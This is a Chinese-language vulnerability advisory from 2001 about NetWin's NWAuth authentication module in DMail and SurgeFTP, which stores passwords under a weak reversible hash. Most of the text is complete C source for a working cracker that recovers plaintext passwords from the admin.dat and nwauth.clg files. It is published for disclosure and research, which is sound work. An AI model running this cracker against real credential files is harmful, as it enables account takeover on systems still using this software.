发布日期：2001-07-20
更新日期：2001-07-23

受影响系统：

NetWin DMail 2.8i
NetWin DMail 2.8h
NetWin DMail 2.8g
NetWin DMail 2.8f
NetWin DMail 2.8e
NetWin DMail 2.7r
NetWin DMail 2.7q
NetWin DMail 2.7
NetWin DMail 2.5d
NetWin Surge FTP 2.0b
NetWin Surge FTP 2.0a
Netwin SurgeFTP 1.0b

描述：

---

BUGTRAQ  ID: 3075
CVE(CAN) ID: CAN-2001-1354

NWAuth是Netwin的外部认证模块，被好几个Netwin的产品所采用。

NWAuth使用了一个简单的单向HASH函数对密码进行加密，因此攻击者很容易对这些密码
进行解密。

<*来源：ByteRage （byterage@yahoo.com）*>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

ByteRage （byterage@yahoo.com）提供了如下测试代码：

/********************************************************************
* nwauthcrack.c - NetWin Authentication Module password cracker    *
* the SurgeFTP encrypted passwords can be found in the admin.dat & *
* nwauth.clg files in the nwauth.exe directory                     *
* by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
********************************************************************/

#include <string.h>
#include <stdio.h>

FILE *fh;
/* the following table indices refer to the characters our
   generated password may consist of (true/false), since
   we don't want to go into too much trouble when typing
   everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};

/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
  int heavycrypt0;
  unsigned int num=0, i, x;
  unsigned char j[256], decrypted[256];
  for(i=0; i<256;i++) { j[i] = 0; }
brute:
  heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];
  for(i=0; i+2 < strlen(encrypted); i++) {
    for(x=j[i]; x < 256; x++) {
   if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {
     decrypted[i] = x;
  break;
   }
    }
if (x == 256) {
next:
   if (i == 0) return num;
   if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto
next; }
   for (i=x; i < 256; i++) { j[i] = 0; }
   goto brute;
}
heavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
  }
  decrypted[i] = '\x00';
  num++;
  printf("%s\n", decrypted);
  if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto
next; }
  for (i=x; i < 256; i++) { j[i] = 0; }
  goto brute;
}
/* DECRYPTION ALGORITHMS END */

void main(int argc, char ** argv) {
  char buf[256]; int k, l;

  printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");

  if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
  printf("%s ->\n",argv[1]);

  printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
}



建议：

---

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://netwinsite.com/


浏览次数：3469
严重程度：0（网友投票）